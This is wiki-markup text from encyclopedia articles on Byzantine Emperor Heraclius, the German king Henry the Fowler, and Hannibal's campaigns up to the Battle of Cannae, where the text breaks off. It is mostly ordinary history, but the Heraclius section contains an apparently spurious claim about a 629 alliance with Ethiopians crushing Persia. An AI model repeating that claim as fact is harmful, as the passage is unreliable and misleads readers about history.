In [[608]], the Heraclius the Elder renounced his loyalty to the Emperor [[Phocas]], who had overthrown Maurice six years earlier. The rebels issued coins showing both Heraclii dressed as [[consul|consuls]], though neither of them explicitly claimed the imperial title at this time. The younger Heraclius' cousin Nicetas launched an overland invasion of [[Egypt]]; by 609, he had defeated Phocas's general Bonosus and secured the province. Meanwhile, the younger Heraclius sailed eastward with another force via Sicily and Cyprus. As he approached [[Constantinople]], he made contact with leading aristocrats in the city, and soon arranged a ceremony where he was crowned and acclaimed as emperor. When he reached the capital, the [[Excubitor]]s, an elite imperial guard unit led by Phocas's own son-in-law Priscus, deserted to Heraclius, and he entered the city without serious resistance. Heraclius personally executed Phocas. On [[October 5]], [[610]], Heraclius was crowned for a second time, this time in the Chapel of St. Stephen within the Great Palace, and at the same time wed his betrothed, Fabia, who took the name Eudocia. She was beloved in Constantinople, and when she died in [[612]] and he married his niece [[Martina]], the second marriage was never approved of. In the reign of Heraclius' two sons, the divisive Martina was to become the center of power and political intrigue.

==The war against Persia==

When Heraclius took power, the Empire was in a desperate situation. Phocas's initial revolt had stripped the Danube frontier of troops, leaving the most of the [[Balkans]] at the mercy of the [[Eurasian Avars|Avars]]. The [[Iran|Persian]] King [[Khosrau II of Persia|Chosroes II]], who had been an ally of Maurice, used his death as an excuse to launch a war against the Byzantines. Chosroes had at his court a man who claimed to be Maurice's son Theodosius, and Chosroes demanded that the Byzantines accept him as Emperor. The Persians had slowly gained the upper hand in Mesopotamia over the course of Phocas's reign; when Heraclius' revolt resulted in civil war, the Persians took advantage of the internal conflict to advance deep into Syria.

Heraclius offered peace terms to the Persians upon his accession, but Khosrau refused to treat with him, viewing him as just another usurper of Theodosius' throne. Heraclius' initial military moves against the Persians ended disastrously, and the Persians rapidly advanced westward. They took [[Damascus]] in 613, [[Jerusalem]] in 614 (damaging the [[Church of the Holy Sepulchre]] and capturing the Holy [[True Cross|Cross]] in the process), and [[Egypt]] in 616. They made raids deep into [[Anatolia]] as far as [[Chalcedon]], a town lying almost opposite of Constantinople across the Bosporous.  At night, it was said, the people of Constantinople would see Persian watch-fires and their reflection on the water.  The Persians were also in communication with the [[Avars]].

The situation was so grave that Heraclius reportedly considered moving the capital from [[Constantinople]] to [[Carthage]]. But he remained in the East and worked on reorganizing the Byzantine military. He developed the idea of granting land to individuals in return for hereditary military service. The land so granted was organised into ''[[thema]]'', a Greek word to describe a division of troops, and each theme was placed under the command of a ''[[strategos]]'' or military governor. This arrangement ensured the continuance of the Empire for hundreds of years and enabled Heraclius to reconquer lands taken by the Persians, ravaging Persia along the way.

Once he had rebuilt the army, Heraclius took the field himself in [[621]], the first emperor to campaign against a foreign enemy in person since [[Theodosius I]]. Confident that Constantinople was well defended, and unwilling to engage in a war of attrition over the lost eastern provinces, he marched across Asia Minor and invaded Persia itself. He would stay on campaign for several years. In [[626]], Constantinople itself was besieged by the Avars; but Persian attempts to cross the Bosporus and aid the Avars were repulsed by the Byzantine navy, and the Avars withdrew. Meanwhile, Heraclius acquired the assistance of the [[Khazars]] and other Turkic troops. Heraclius also exploited divisions within the Persian Empire, keeping the great Persian general [[Shahrbaraz of Persia|Shahrbaraz]] neutral by convincing him that Chosroes had grown jealous of him and ordered his execution. At the [[Battle of Nineveh (627)|Battle of Nineveh]] in 627, the Roman forces (without the Khazars who left Heraclius) defeated the Persians under Rhazates.  In 629 he allied with the Ethiopians and began to re-win provinces he had lost to [[Persia]].  The Ethiopians put tremendous military pressure on the Persians whos armies were no match for the fast moving Ethiopians, who were more than happy to crush Persia for an earlier invasion of the arabian peninsula that was Ethiopian controlled. When Chosroes still refused to make peace, Heraclius continued his campaign; as he approached the Persian capital of [[Ctesiphon]], the Persian aristocracy deposed Chosroes. His successor made peace with Heraclius by restoring all the empire's former territories. The Persian [[Sassanid dynasty|Sassanid]] dynasty never recovered from this war; it took years for a strong king to emerge from a series of coups, and soon the Arabs overwhelmed the sinking state.

Heraclius took for himself the ancient Persian title of &quot;King of Kings&quot;, dropping the traditional Roman imperial title of &quot;Augustus&quot;. Later on, he styled himself as ''[[Byzantine aristocracy and bureaucracy|Basileus]]'', the Greek word for &quot;King&quot;, and that title was used by the eastern Roman emperors for the next 800 years. Heraclius also discontinued the use of [[Latin]] as the empire's official language, replacing it with [[Greek language|Greek]]. Although the empire called itself Roman throughout the rest of its history, it was in reality a Hellenic empire from Heraclius onward.

In [[630]], he reached the height of his power when he marched barefoot as a pious christian pilgrim carrying the true cross, triumphantly into [[Jerusalem]] and restored it, the True Cross to the Church of the Holy Sepulchre.

==The war against the Arabs==

Unfortunately for Heraclius' war-weary empire, and unknown to him at the time, [[Muhammad]] had only recently succeeded in unifying all the nomadic tribes of the [[Arabian Peninsula]]. The Arabs, who had been too divided in the past to pose a military threat, now comprised one of the most powerful states in the region, and were animated by their new conversion to Muhammad's religion of [[Islam]]. 

Heraclius fell ill soon after his triumph over the Persians and never took the field again. When the Arab Muslims invaded Syria and Palestine in [[634]], he was unable to oppose them personally, and his generals failed him. The [[Battle of Yarmuk]] in [[636]] resulted in a crushing defeat for the larger Roman army and within three years, Syria and Palestine were lost again. By the time of Heraclius' death, most of Egypt had fallen as well.

==Legacy==

Although his defeat of the Persians produced no lasting benefit to the empire, Heraclius still ranks among the greatest of the Byzantine emperors. His reforms of the government reduced the corruption which had taken hold in the disastrous reign of Phocas, and he reorganized the military with great success. Ultimately, the reformed imperial army halted the Muslims in [[Asia Minor]] and held on to [[Carthage]] for another 60 years, saving a core from which the empire's strength could be rebuilt.

The recovery of the eastern areas of the Byzantine Empire from the Persians once again raised the problem of religious unity centering around the understanding of the true nature of Christ. Most of the inhabitants of these provinces were [[Monophysite]]s who rejected the [[Council of Chalcedon]]. Heraclius tried to promote a compromise doctrine called [[Monothelitism]]; however, this philosophy was rejected as heretical by both sides of the dispute. For this reason, Heraclius was viewed as a heretic and bad ruler by some later religious writers. After the Monophysite provinces were finally lost to the Muslims, Monotheletism rather lost its raison d'etre and was eventually abandoned.

Heraclius and Fabia-Eudocia had two children:
* Epiphania-Eudocia, Augusta
* [[Constantine III (emperor)|Heraclius Constantine]], Emperor [[641]]
With his second wife Martina, the Emperor had at least ten children, though the names and order of these children are questions for debate: 
* Fabius, had a paralysed neck
* Theodosius, was a deaf-mute, married Nike, daughter of Persian general [[Shahrbaraz of Persia|Shahrbaraz]]
* Constantine
* Heraclius II ([[Heracleonas]]), Emperor [[638]] - [[641]]
* David (Tiberius), proclaimed Caesar in [[638]]
* Martinus or Marinus
* Augustina, Augusta
* Anastasia and/or Martina, Augusta
* Febronia
Of these at least two were handicapped, which was seen as punishment for the illegality of the marriage.

He also had at least one illegitimate son, Atalarichus, who was mutiliated and exiled to Prinkipo in [[637]] for his involvment in the plot against Heraclius.

During the last years of Heraclius' life, it became evident that a struggle was taking place between Heraclius Constantine and Martina who was trying to position her son Heracleonas in line for the throne. When Heraclius died, in his will he left the empire to both Heraclius Constantine and Heracleonas to rule jointly with Martina as Empress and mother of both.

==Note==
*{{note|Simocatta}} [[Theophylactus Simocatta]], 109-110
==See also==
*[[Non-Muslims Interactants with Muslims During Muhammad's Era]]

==External links==
{{Commons|Heraclius}}
*[http://www.roman-emperors.org/heraclis.htm De Imperatoribus Romanis: an online encyclopedia of Roman Emperors]

{{Byzantine Emperor | Prev=[[Phocas]] | CoEmperor= | Next=[[Constantine III (emperor)|Constantine III]] and [[Heracleonas]]}}

[[Category:575 births]]
[[Category:641 deaths]]
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[[Category:Heraclian Dynasty]]

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'''Henry I, the Fowler''' ([[German_language|German]]: '''Heinrich der Finkler''' or '''Heinrich der Vogler''') ([[876]] - [[July 2]], [[936]]), was [[Duke of Saxony]] from [[912]] and king of the [[Germany|Germans]] from [[919]] until his death in [[936]]. First of the [[Ottonian Dynasty]] of German kings and emperors, he is generally considered to be the founder and first king of the medieval German Empire, known until then as the [[East Franconian Kingdom]].  An avid hunter, he obtained the epithet &quot;the Fowler&quot; because he was allegedly fixing his birding nets when messengers arrived to inform him that he was to be king.

Henry was the son of [[Otto the Illustrious]], duke of Saxony, and his wife Hedwiga, a great-great-granddaughter of [[Charlemagne]], and a daughter of [[Carloman of Bavaria]]. In [[906]] he married Hatheburg, daughter of the Saxon count Erwin, but divorced her in [[909]] after she had given birth to his son Thankmar. Later that year he married [[Matilda of Ringelheim]], daughter of Dietrich, count in western Saxony (Westfalia). Matilda bore him three sons and two daughters and founded many religious institutions, including the abbey of [[Quedlinburg]] where Henry is buried, and was later [[canonization|canonized]].

Henry became duke of Saxony upon his father's death in [[912]] and, an able ruler, continued to strengthen Saxony, frequently in conflict with his neighbors to the South, the dukes of [[Franconia]].  

In [[918]] king [[Conrad of Franconia|Conrad I]] of the East-Franconian Empire, and duke of Franconia, died and recommended Henry as his successor as king, despite the fact that they had been at odds with each other from [[912]] to [[915]] over the title to lands in [[Thuringia]]. Conrad's choice was conveyed by duke [[Eberhard III]] of Franconia, Conrad's brother and heir, to the assembled Franconian and Saxon nobles at the [[Reichstag (institution)|Reichstag]] of [[Fritzlar]] in [[919]], which duly elected Henry to be king. Henry refused to be anointed by a high church official, the only king of his time not to undergo that rite – allegedly because he did not wish to be king by the church's but by the people's acclaim. Duke [[Burkhard]] I of Swabia soon swore fealty to the new king, but duke [[Arnulf]] of Bavaria did not submit until Henry invaded Bavaria in [[921]] and Arnulf swore fealty to him.

Henry regarded the kingdom as a confederation of tribal duchies rather than a feudal kingdom and himself as ''primus inter pares''. Rather than seeking to administer the empire through counts, as Charlemagne had done and his successors had attempted, Henry allowed the dukes of Franconia, Swabia and Bavaria to maintain complete internal control of their holdings.  In [[925]], he defeated [[Giselbert]], duke of [[Lotharingia]] ([[Lorraine (province)|Lorraine]]), and brought that realm, which had been lost in [[910]], back into the German kingdom as the fifth tribal duchy (the others being Saxony, Franconia, [[Swabia]], and [[Bavaria]]), but allowing Giselbert to remain in power and marrying his daughter [[Gerberga]] to his new vassal in [[928]].

Henry was a very able military leader.  Germany had been repeatedly raided by the [[Magyar people|Magyars]] (Hungarians), and in [[924]] Henry paid them a tribute to secure a ten-year truce so that he could fortify towns and train a new elite cavalry force.  With his new army, he conquered the [[Havelli]] and the [[Daleminzi]] in [[928]] and put down a rebellion in [[Bohemia]] in [[929]].  When the [[Magyars]] began raiding again, he led an army of all German tribes to victory over them at the battle of [[Riade]] in [[933]], stopping one of their advances into Germany. He also pacified territories to the north, where the [[Denmark|Danes]] had harried the [[Frisians]] off to the sea. The monk and historian [[Widukind of Corvey]] in his ''Rex gestae Saxonicae'' reports that the Danes were subjects of Henry the Fowler.  Henry incorporated territories held by the [[Wends]], who together with the Danes had attacked Germany, into his kingdom and also conquered [[Schleswig]] in [[934]].  

When Henry died on [[2 July]] [[936]], all German tribes were united in a single kingdom. Henry I is therefore considered the first German king and the founder of the eventual [[Holy Roman Empire]] of the German Nation (''[[Heiliges Römisches Reich Deutscher Nation]]''). 

His son Otto succeeded him as Emperor [[Otto I]] (&quot;the Great&quot;). His second son, Henry, became duke of Bavaria. A third son, Brun (or Bruno), became archbishop of [[Cologne]]. His son from his first marriage, Thankmar, rebelled against his half-brother Otto and was killed in battle in [[936]]. His daughter [[Gerberge|Gerberga]] married Duke Giselbert of Lorraine and subsequently King [[Louis IV of France]]. His youngest daughter [[Hedwige of Saxony]] married Duke ([[Hugh the Great]]) of [[France]] and was the mother of [[Hugh Capet]], the first [[Capetian]] king of [[France]].

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-----
'''Henry the Fowler''' is also the name of a wandering minstrel from the [[Tirol]], the author of two cycles about [[Dietrich von Bern]].


[[Category:876 births]]
[[Category:936 deaths]]
[[Category:German Kings]]
[[Category:Dukes of Saxony]]
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[[Image:HannibalFrescoCapitolinec1510.jpg|thumb|right|300px|Hannibal's celebrated feat in crossing the Alps with [[war elephant]]s passed into European legend: a fresco detail, ''ca.'' [[1510]], [[Capitoline Museums]], [[Rome]]]]

'''Hannibal''' (from [[Punic language|Punic]], literally ''&quot;[[Baal]] is merciful to me&quot;'', [[247 BC]] &amp;ndash; [[183 BC]]) (sometimes referred to as '''Hannibal Barca''') was a [[politician]] and [[statesman]] who is considered to be one of the finest military commanders in history and the greatest enemy of the [[Roman Republic]]. As the son of [[Hamilcar Barca]], he is often called Hannibal Barca.  In fact Barca was a nickname, meaning lightning, and not a surname.   However, for convenience historians refer to Hamilcar's family as the [[Barcid]] family, and avoid confusion with minor Carthaginians who shared his name but not his fame. Hailing from [[Carthage]], Hannibal was best known for his achievements in the [[Second Punic War]] in marching an army from [[Hispania]] over the [[Pyrenees]] and the [[Alps]] into northern [[Italy]] and defeating the Romans at the Battles of [[Battle of the Trebia|the river Trebia]] ([[218 BC]]), [[Battle of Lake Trasimene|Lake Trasimene]] ([[217 BC]]) and [[Battle of Cannae|Cannae]] ([[216 BC]]). After Cannae, the Romans refused to fight him in pitched battles, instead aiming to defeat him by sheer attrition (the Romans had obvious and huge advantages of supply and manpower). After years of occupying Roman territory in a series of fits and starts, a counterinvasion of [[North Africa]] by the Romans under [[Scipio Africanus]] in [[204 BC]] forced Hannibal to return to Carthage, where Scipio defeated him at [[Battle of Zama|Zama]] ([[202 BC]].

Following the end of the war, Hannibal led Carthage for several years, aiding its recovery from the devastation of the war, until the Romans forced him into exile in [[195 BC]]. He went to live at the court of [[Antiochus III]] of the [[Seleucid Empire|Seleucid Kingdom]]. In [[190 BC]] the Romans, having defeated Antiochus and imposed the [[Peace of Apamea]] ([[188 BC]]), demanded that he turn Hannibal over to them and the general fled again, this time to the court of King [[Prusias I of Bithynia|Prusias I]] of [[Bithynia]].  When the Romans demanded that Prusias surrender him in [[182 BC]], Hannibal left but soon committed suicide rather than submit. He died in [[183 BC]]

Hannibal is universally ranked as one of the greatest military commanders and tacticians in history, alongside [[Alexander the Great]], [[Julius Caesar]], [[Scipio Africanus|Scipio]], [[Genghis Khan]], [[Subutai]], [[Shaka Zulu]], [[Napoleon I of France]], and others. Military historian, [[Theodore Ayrault Dodge]], once famously christened Hannibal as the ''&quot;father of strategy&quot;'' - indeed even his greatest enemy in Rome came to adopt his style of military tactics in their stategical canon.

==Background and early career==
[[image:hannibal.jpg|thumb|Hannibal Barca: an imaginary portrait]]

Hannibal Barca (&quot;mercy of [[Baal]]&quot;), son of [[Hamilcar Barca]], was born in [[247 BC]]. After Carthage's defeat in the [[First Punic War]], Hamilcar set about the task of improving Carthage's fortunes. To do this, Hamilcar began the subjugation of the tribes of [[Spain]]. Carthage at the time was in such a poor state that its navy was unable to ferry his army to [[Iberian peninsula|Iberia]] (Hispania); instead, he had to march it to the [[Pillars of Hercules]] and cross there. According to a story he later told at the court of Antiochus, Hannibal came upon his father while he was making a [[sacrifice]] to the gods before leaving for Hispania. Hannibal, then quite young, begged to go with him. Hamilcar agreed and allegedly made Hannibal swear that as long as he lived he would never be a friend of Rome.  Hannibal is reported to have told his father,'' &quot;I swear so soon as age will permit...I will use fire and steel to arrest the destiny of Rome.&quot;''

Hannibal's father went about the conquest of Hispania with all the skills given to military men. When he was killed in a battle, Hannibal's brother-in-law [[Hasdrubal]] succeeded to his command of the army. Hasdrubal pursued a policy of consolidation of Carthage's Iberian interests, even signing a treaty with Rome whereby Carthage would not expand past the [[Ebro]] River, so long as Rome did not expand south of it. 

Upon the death of his brother-in-law ([[221 BC]]) Hannibal was acclaimed commander-in-chief by the army and confirmed in his appointment by the Carthaginian government. Titus Livy, a Roman scholar, gives a depiction of the young Carthaginian: ''“No sooner had he [Hannibal] arrived...the old soldiers fancied they saw Hamilcar in his youth given back to them; the same bright look; the same fire in his eye, the same trick of countenance and features. Never was one and the same spirit more skillful to meet opposition, to obey, or to command...”''. After he assumed command, he spent two years consolidating his holdings and completing the conquest of Hispania south of the Ebro. However, Rome, fearing the growing strength of Hannibal in Iberia, made an alliance with the city of [[Saguntum]] which lay a considerable distance south of the River Ebro and claimed the city as its protectorate.  Hannibal took this as a breach of the treaty signed with Hasdrubal and so he laid siege to the city, which fell after eight months.  Rome was upset by this breaking of the treaty (which they were actually guilty of) and demanded justice from Carthage. The Carthaginian government did not venture to repudiate Hannibal's actions, in view of his great popularity, and the war he sought was declared at the end of the year. Hannibal was now determined to carry the war into the heart of [[Italy]] by a rapid march through Hispania and southern [[Gaul]].

==Second Punic War in Italy (218&amp;mdash;203 B.C.) ==

===Overland Journey to Italy===

[[Image:Hannibal route of invasion.gif|thumb|300px|right|Hannibal´s route of invasion given graciously by The Department of History, United States Military Academy]]

Hannibal's army in Iberia reportedly totaled 90,000 infantry and 12,000 cavalry, although those figures most probably include Hasdrubal's forces as well as Hannibal's. The expeditionary force would still number as many as 75,000 foot soldiers and 9,000 horsemen. Hannibal departed New Carthage in late spring of 218 B.C. He fought his way through the northern tribes to the [[Pyrenees]], subduing the tribes through clever mountain tactics and stubborn fighting.  After marching 290 miles through hostile territory and arrivng at the Ebro by late June, Hannibal selected the most trustworthy and devoted contingents of the large army of [[Libya]]n and Iberian [[mercenaries]] at his disposal to continue on his voyage. He left a detachment of 11,000 troops to garrison the newly conquered region. At the Pyrenees, he released another 11,000 Iberian troops who displayed reluctance to leave their homeland. Hannibal reportedly entered Gaul with 50,000 foot soldiers and 9,000 horsemen. 

Hannibal recognized that he still needed to cross the [[Pyrenees]], the Alps, and many significant rivers.  Additionally, he would have to contend with opposition from the [[Gaul]]s, whose territory he passed through. Starting in the spring of [[218 BC]], he easily fought his way through the northern tribes to the [[Pyrenees]] and, by conciliating the Gaulish chiefs along his passage, reached the [[Rhône River|Rhône]] before the Romans could take any measures to bar his advance.  Arriving at the Rhône in September, Hannibal's army numbered 38,000 infantry, 8,000 cavalry, and thirty-seven [[war elephants]].

After outmaneuvering the natives, who had endeavored to prevent his crossing, Hannibal evaded a Roman force sent to operate against him in Gaul.  He then proceeded up the valley of one of the tributaries of the river [[Rhone]] (probably the [[Isère River|Isere]]) and by autumn arrived at the foot of the [[Alps]]. His passage over the mountain chain (probably in the vicinity of the Col de Mont Cenis) is one of the most celebrated achievements of any military force in [[ancient warfare]]. Hannibal  successfully crossed the Alps, while surmounting the difficulties of climate and terrain, the [[guerrilla tactics]] of the native tribes, and the challenge of commanding an army diverse in race and language. After completing his overland journey, Hannibal descended from the foothills into northern Italy. He had arrived, however, accompanied by only half the forces he had to started with, and only a few elephants. In total, Hannibal had lost as many as 20,000 out of 46,000 men. Hannibal from the start seems to have calculated that he would have to operate without aid from Hispania. It should be noted the figures for the amount of troops he had when he left Hispania are less reliable. Nonetheless, historian [[Adrian Goldsworthy]] has written that due to the opposition of the natives and the difficulties of landslides and cold altitudes, the costs of Hannibal's march were considerable.

===Battle of Trebia===
{{Main|Battle of Trebia}}
Hannibal's perilous march brought him into Roman territory and frustrated the attempts of the enemy to fight out the main issue on foreign ground. His sudden appearance among the Gauls of the Po valley, moreover, enabled him to detach those tribes from their new allegiance to the Romans before the latter could take steps to check the [[rebellion]].
[[Image:Battleofthetrebiamap.JPG|thumb|right|300px|[[Battle of Trebbia]]]]
Publius Cornelius Scipio, the consul who commanded the Roman force sent to intercept Hannibal, had by no means expected Hannibal to make an attempt to traverse the Alps, since the Romans were prepared to fight the war in Spain. With a small detachment still positioned in Gaul, Scipio made an attempt to intercept Hannibal. Through prompt decision and speedy movement, he succeeded in transporting his army to Italy by sea, in time to meet Hannibal. After allowing his soldiers a brief rest to recover from their exertions, Hannibal first secured his rear by subduing the hostile tribe of the [[Taurini]] (modern [[Turin]]). While Moving down the [[Po]] valley, the opposing forces were engaged in a small confrontation at [[Battle of Ticinus|Ticinus]].  Here, Hannibal forced the Romans, by virtue of his superior [[cavalry]], to evacuate the plain of [[Lombardy]]. This victory, though essentially a minor engagement, did much to weaken Roman control over the Gauls. As a result, of the Rome’s defeat at Ticinus, the Gauls were encouraged to join the Carthaginian cause. Soon the entirety of northern Italy was unofficially allied, both Gallic and Ligurian troops soon bolstering his army back to 40,000 men. Hannibal’s army, significantly supplemented, now stood poised to invade Italy. Scipio, severely injured in the battle, retreated across the River Trebia with his army still intact, and encamped at the town of Placentia to await reinforcements.  

The other Roman [[consul]]ar army was rushed to the Po Valley. Even before news of the defeat at Ticinus had reached Rome, the senate had ordered the consul Sempronius Longus to bring his army back from Sicily to meet Scipio and face Hannibal. Fortunately, Hannibal, by skillful maneuvers, was in position to head him off, for he lay on the direct road between Placentia and Arminum, by which Sempronius would have to march in order to reinforce Scipio. He then captured Clastidium, from which he drew large amounts of rations for his men. But this gain was not without its loss, as Sempronius avoided Hannibal watchfulness, slipped around his flank, and joined his colleague in his camp near the [[Trebbia River]] near [[Piacenza|Placentia]]. There, in December of the same year, Hannibal had an opportunity to show his superior military skill at [[Battle of Trebia|Trebia]]; after wearing down the excellent Roman [[infantry]] he cut it to pieces by a surprise attack from an [[ambush]] in the flank. 

===Battle of Lake Trasimene===
{{Main|Battle of Lake Trasimene}}
Having secured his position in northern Italy by this victory, Hannibal quartered his troops for the winter with the Gauls, whose zeal in his cause thereupon began to abate. Accordingly, in spring [[217 BC]] Hannibal decided to find a more trustworthy base of operations farther south.  On the other hand, the Romans, greatly alarmed and dismayed by Sempronius’s defeat at Trebia, immediately made plans to counter the new threat from the north. The Roman senate resolved to elect new consuls the following year in 217 B.C. The two new consuls elected were Cnaeus Servilius and [[Gaius Flaminius]]. As both anticipated Hannibal’s continued advance, the new consuls took their armies—one under Servilius to [[Arminum]] on the [[Adriatic]], the other, under Flaminius, to [[Arretium]] situated near the [[Apennine]] mountain passes—thereby commanding the eastern and western routes by which Hannibal could advance towards Rome.
[[Image:Battle of lake trasimene.gif|240px|right|thumb|[[Battle of Lake Trasimene]], -217.&lt;br&gt;From the Department of History, United States Military Academy]]
The only alternate route to central Italy laid at the mouth of the [[Arno]]. This route was practically one huge marsh, and happened to be during this particular season, more overflowed than usual; a state of which would subject his men to the same suffering as they had endured on the Alps. Hannibal knew that this route was full of difficulties, but it remained the surest and certainly the quickest route to Central Italy.  As Polybius claims ''“he [Hannibal] ascertained that the other roads leading into Etruria were long and well know to the enemy, but that one which led through the marshes was short, and would bring them upon Flaminius by surprise. This was what suited his peculiar genius, and he therefore decided to take this route.”''  For four days and three nights, Hannibal’s men marched ''“through a route which was under water”'' suffering terribly from fatigue and enforced want of sleep. He crossed the [[Apennines]] and the seemingly impassable Arno without opposition, but in the marshy lowlands of the Arno, he lost a large part of his force, including, it would seem, his remaining elephants.

Arriving in Eturua in the spring of 217 BC, Hannibal decided to lure the main Roman army under Flaminius into a pitched battle, by devastating under his very own eyes the area he had been sent to protect. As Polybius tells us, ''“he [Hannibal] calculated that, if he passed the camp and made a descent into the district beyond, Flaminius (partly for fear of popular reproach and partly of personal irritation) would be unable to endure watching passively the devastation of the country but would spontaneously follow him . . . and give him opportunities for attack.”'' {{ref|Hart}}. At the same time, he tried to sever the allegiance of Rome’s allies, by proving that she was powerless to protect them. Despite of this, Hannibal found Flaminius still passively encamped at Arretium. Unable to draw Flaminius into battle by mere devastation, Hannibal marched boldly around his opponent’s left flank and effectively cut Flaminius off from Rome (thus executing the first conscious [[turning movement]] in military history). Advancing through the uplands of [[Etruria]], Hannibal provoked Flaminius to a hasty pursuit and, catching him in a defile on the shore of [[Lake Trasimeno|Lake Trasimenus]], destroyed his army in the waters or on the adjoining slopes while killing Flaminius as well (see [[Battle of Lake Trasimene]]). He had now disposed of the only field force which could check his advance upon Rome, but, realizing that without [[siege engine]]s he could not hope to take the capital, he preferred to exploit his victory by passing into central and southern Italy and exciting a general revolt against the sovereign power. After Lake Trasimene, Hannibal stated, ''“I have not come to fight Italians, but on behalf of the Italians against Rome.”''

===Fabius ''Cunctactor''===
{{seealso|Fabian strategy|Fabius Maximus}}
Rome, reeling from her disastrous defeat at Lake Trasmimene, was put into an immense state of panic. According to Polybius ''“On the news of the defeat reaching Rome, the chiefs of the state were unable to conceal or soften down the facts, owing to the magnitude of the calamity, and were obliged to summon a meeting of the commons and announce it. When the Praetor [the head of the Roman Senate]  . . .said, ‘We have been defeated in a great battle”, it produced such consternation that to those who were present on both occasions, the disaster seemed much greater now than during the actual battle.”'' {{ref|Cotrell}} In times of such crisis, there was but one thing to do; and that was to appoint a [[Roman dictator|dictator]]. Dictatorial power permitted a single man to develop his own strategies, make appointments in the civil government, and prepare armies without the usual political wrangling; a post that gave him near total authority for a period of approximately six months.'' “Abandoning”'' says Polybius ''“the system of government by magistrates elected annually, they [the Romans] decide to deal with the present situation more radically, thinking that the state of affairs and the impending peril demand the appointment of a single general with full powers”'' {{ref|Cottrell}}. The man they appointed as sole commander, or “dictator”, was a man named Quintus [[Fabius Maximus]], intelligent and prudent general coined as the  ''&quot;Cunctator&quot;'' (akin to the [[English language|English]] [[noun]] ''cunctation''), or the ''&quot;Delayer&quot;'' in [[Latin]]

Departing from Roman military traditions, Fabius adopted the [[Fabian strategy]] of refusing open battle with his opponent while placing several Roman armies in Hannibal’s vicinity limit his movement. While seeking to avoid battle, Fabius instead, sent out small detachments against Hannibal’s foraging parties, and always maneuvered the Roman army in hilly terrain, so as to nullify Hannibal’s decisive superiority in cavalry. Residents of small northern villages were encouraged to post lookouts, so that they could gather their livestock and possessions and take refuge into fortified towns. This, Fabius knew, would wear down the invaders’ endurance and discourage Rome’s allies from going over to the enemy, without having to challenge the Carthaginians to battle. 
[[image:Hannibal.gif|thumb|200px|left|Hannibal - Silver double shekel, c. 230 BC, The British Museum]]
Having ravaged Apulia without provoking Fabius to battle, Hannibal decided to march through [[Samnium]] to [[Campania]], one of the richest and most fertile provinces of Italy, hoping that the devastation would draw Fabius into battle. Livy tells us that ''“He [Hannibal] began to provoke and try his temper, by frequently shifting his camp and laying waste the territory of the allies before his eyes; and one while he withdrew out of quick sight and halted suddenly, and concealed himself in some winding of the road, if possible, to entrap [ambush] him on his descending into the plain”'' {{ref|Contrell}}. The dictator closely followed Hannibal’s path of destruction, yet still refused to let himself be drawn into battle, and thus remained on the defensive. While Fabius refrained himself from being drawn into battle, his troops became increasingly irritated by his ''“cowardly and unenterprising spirit”'' {{ref|Hart}}. His inactive policies, while tolerable among wiser minds in the Roman Senate, were deemed unpopular, because the Romans had been long accustomed to facing their enemies in the field. Fabius’s strategy was especially frustrating to the mass of the people, who were eager to see a quick conclusion to the war. Moreover, it was widely believed, that if Hannibal continued plundering Italy unopposed, the terrified allies, believing that Rome was incapable of protecting them, might defect and pledge their allegiance to the Carthaginians. 

As the year wore on Hannibal decided that it would be unwise to winter in the already devastated lowlands of Campania but Fabius had ensured that all the passes out of Campania were blocked. Fortunately, the Carthaginian general hit upon a highly imaginative deception scheme. At night, he gathered together all the cattle, and after tying burning torches to their horns, he drove them along a ridge near the pass. To the Romans guarding the pass, this gave the impression that the Carthaginians, aided by torches, were attempting to escape through the woods, and thus left the defile to attack them. After the Romans had chased off after the cattle, Hannibal promptly occupied the passed, and his army made their way through the pass unopposed. Fabius was within striking distance but in this case his caution worked against him. Smelling a stratagem (rightly) he stayed put. For the winter, Hannibal found comfortable quarters in the Apulian plain. What Hannibal achieved in extricating his army was, as [[Adrian Goldsworthy]] puts it, ''&quot;a classic of ancient generalship, finding its way into nearly every historical narrative of the war and being used by later military manuals&quot;''. This was severe blow to Fabius’s prestige, and soon after this, his period of power ended. The rest of autumn season continued that year albeit with frequent skirmishes— and after six months of exercising dictatorial power, Fabius would be removed from his position, in accordance with the Roman law.

===Battle of Cannae===
{{Main|Battle of Cannae}}
In the campaign of [[217 BC]] Hannibal had failed to obtain a following among the Italians; in the following year he had an opportunity to turn the tide in his favor. In the Spring of 216 B.C. Hannibal took the initiative and seized the large supply depot at Cannae in the Apulian plain. Thus, by seizing Cannae, Hannibal had placed himself between the Romans and their crucial source of supply. As Polybius notes the capture of Cannae ''“caused great commotion in the Roman army; for it was not only the loss of the place and the stores in it that distressed them, but the fact that it commanded the surrounding district”''. Once the Roman Senate resumed their Consular elections in 216, they appointed [[Caius Terentius Varro]] and [[Lucius Aemilius Paullus]] as Consuls. In the meantime, the Romans, hoping to gain success through sheer strength in numbers, raised a new army of unprecedented size. ''“They decided”'', [[Polybius]] writes, ''“to bring eight legions into the field, a thing which had never been done before by the Romans, each legion consisting of about five thousand men...Most of their wars are decided by one Consul and two legions, with their quota of allies; and they rarely employ all four at one time and on one service. But on this occasion, so great was the alarm and terror of what would happen, they resolved to bring not only four but eight legions into the field''&lt;sup&gt;[http://www.fordham.edu/halsall/ancient/polybius-cannae.html]&lt;sup&gt;. As each legion was accompanied by an equal number of allied troops, both infantry and cavalry, the total strength of the army which faced Hannibal could not have been much less than 90,000 {{ref||Cottrell}}. Some estimates have the Roman forces as large as 100,000 men, though this figure cannot be completely validated. 
[[Image:Battle cannae destruction.gif|right|thumb|330px|Destruction of the Roman army, courtesy of The Department of History, United States Military Academy.]]
The Roman and Allied legions of the Consuls [[Lucius Aemilius Paullus (General)|Aemilius]] and [[Gaius Terentius Varro|Varro]], resolving to confront Hannibal, marched southward to [[Apulia]]. After a two days’ march, they found him on the left bank of the Audifus River, and encamped six miles away. Ordinarily, each of the two Consuls would command their own portion of the army, but since the two armies were combined into one, the Consuls had to alternate their command on a daily basis. The Consul Varro, who was in command on the first day, was a man of reckless and hubris nature, and was determined to defeat Hannibal. Hannibal capitalized on the eagerness of  Varro and drew him into a trap by using an envelopment tactic which eliminated the Roman numerical advantage by shrinking the surface area where combat could occur. Hannibal drew up his least reliable infantry in a semicircle in the center with the wings composed of the Gallic and Numidian horse. The Roman legions forced their way through Hannibal's weak center but the Libyan Mercenaries in the wings swung around by the movement, menaced their flanks. The onslaught of Hannibal's cavalry was irresistible, and Hasdrubal, his brother, who commanded the left, pushed in the Roman right and then swept across the rear and attacked Varro's cavalry on the Roman left. Then he attacked the legions from behind. As a result, the Roman army was hemmed in with no means of escape. Due to these brilliant tactics, Hannibal, with much inferior numbers, managed to surround and 